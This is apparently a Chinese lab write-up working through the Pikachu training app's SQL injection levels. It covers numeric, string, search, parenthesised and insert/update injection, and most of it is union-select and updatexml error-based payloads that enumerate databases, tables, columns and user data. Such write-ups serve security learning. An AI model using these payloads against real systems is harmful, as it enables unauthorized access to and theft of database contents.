[!NOTE]

快就是慢,少就是多

数字型注入

来到第一关,查询1,发现以下内容,抓个包,发现id参数在报文结尾,尝试注入

输入id=1’,id=1”都报错,初步确定为数字型注入,输入以下内容查看返回结果

1
2
id=1 and 1=1--+
id=1 and 1=2--+

结果不同,确定为数字型注入,开始确定字段行数,最终确定行数为2

1
id=1 order by 3--+

开始尝试注入,确定位置为姓名为1,email为2.

1
id=-1 union select 1,2--+

获取当前数据库版本

1
id=-1 union select 1,version()--+

获取当前用户名

1
id=-1 union select 1,user()--+

获取当前库名

1
id=-1 union select 1,database()--+

获取其他库名

1
2
id=-1 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+             #获取全部库名,后续不再使用
id=-1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1--+ #获取第一行库名

获取表名

1
id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+

获取字段名

第一行是id没什么用,这里我们查第二行,是userid…….,算了,全拿出来吧

1
2
id=-1 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='httpinfo' limit 1,1--+
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'--+

看看值

1
id=-1 union select 1,group_concat(ipaddress) from httpinfo limit 0,1--+

字符型注入

与其说时字符型注入,我更倾向于叫这关报错注入,因为时查看报错信息判断的注入方式

来到第二关,当我们输入?name=1时,会返回一串没什么卵用的信息,我们输入1”时,会返回你输入的username不存在,我们输入1’,返回报错信息。

那这一关我们将参数后加上’,后续与第一关一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
name=1' and 1=1--+
name=1' and 1=2--+

name=1' order by 3--+

name=-1' union select 1,2--+

name=-1' union select 1,version()--+

name=-1' union select 1,user()--+

name=-1' union select 1,database()--+

name=-1' union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+

name=-1' union select 1,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+

name=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'--+

name=-1' union select 1,group_concat(ipaddress) from httpinfo limit 0,1--+

既然注入方式判断和报错注入差不多,我们就试试报错注入

1
?name=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

果然,这一关是可以使用报错注入的。

相关payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#获取use()值
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

#获取库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
#方法一
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #方法二

#获取表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1)--+

#获取字段名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='httpinfo' limit 0,1),0x7e),1)--+

#获取值
' and updatexml(1,concat(0x7e,(select ipaddress from httpinfo limit 0,1),0x7e),1)--+

搜索型注入

我们在发送name=1的报文,发现返回一堆的信息,都没啥卵用,发送name=1”会筛选掉一部分,但是也没看出来有什么卵用。

之后发现如果输入?username=1’,会返回报错信息,通过报错信息,判断闭合方式为%’

将单引号换成%’构造payload。

1
name=1%' order by 4--+
1
name=-1%' union select 1,2,3--+
1
2
3
4
5
name=-1%' union select 1,version()--+

name=-1%' union select 1,user()--+

name=-1%' union select 1,database()--+
1
name=-1%' union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+  
1
name=-1%' union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+  
1
name=-1%' union select 1,2,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+
1
name=-1%' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'--+
1
name=-1%' union select 1,2,group_concat(ipaddress) from httpinfo limit 0,1--+

xx型注入

根据1’的报错判断闭合方式,确定为’)

后续payload与前边一样,只是单引号换成’),这里就不写了。

insert/update注入

来到这一关,发现三个页面,一个注册界面一个登陆界面,还有一个修改个人信息界面

注册界面(insert)

抓个包,查看报错信息。

发现闭合时要加上括号,我们加上括号试试

括号似乎被注释掉了,我们双写试试

发现还是无法闭合,与后边对比,少了一个’,加上之后就不返回报错信息了,在尝试中,发现)’’和’’))也不返回报错信息,之后我们尝试注入,发现不返回报错信息

看看报错注入能用不能,发现不能,没有回显,如果在参数处闭合payload,会没有回显,我们把payload写在闭合符号中间,为了使语句完整,我们要在后边的闭合符号前加上and或者or

经过测试,发现之前发现的闭合符号只有’’))能用,直到我发现还有一个双引号还没试,所以正确的闭合方式其实是’’我们把payload双引号写在双引号中间,成功注入。

所以完整的流程是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#获取use()值
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and'

#获取库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'
#方法一(获取当前库名)
' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),1,31),0x7e),1) and'
#方法二(获取当前所有库名)

#获取表名
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,30),0x7e),1) and'

#获取字段名
' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'),1,30),0x7e),1) and'

#获取值
' and updatexml(1,concat(0x7e,substr((select group_concat(ipaddress) from httpinfo),1,30),0x7e),1) and'

##substr在使用时,结尾数字如果是1,30的话,我们使用31,30就可以把剩余的内容显示出来

修改页面(update)

这里和之前的注册页面有一点一样的是,所有信息都必须有值才能返回报错信息,所以我们随便填点值,查看返回的报错如下。

最后确定单引号产生报错,双引号能够闭合,我们加入payload试试,成功获取user值,后续就简单了。

相关payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#获取use()值
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

#获取库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #方法一

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #方法二

#获取表名
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

#获取字段名
' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)--+

#获取值
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username)) from users),1,31),0x7e),1) --+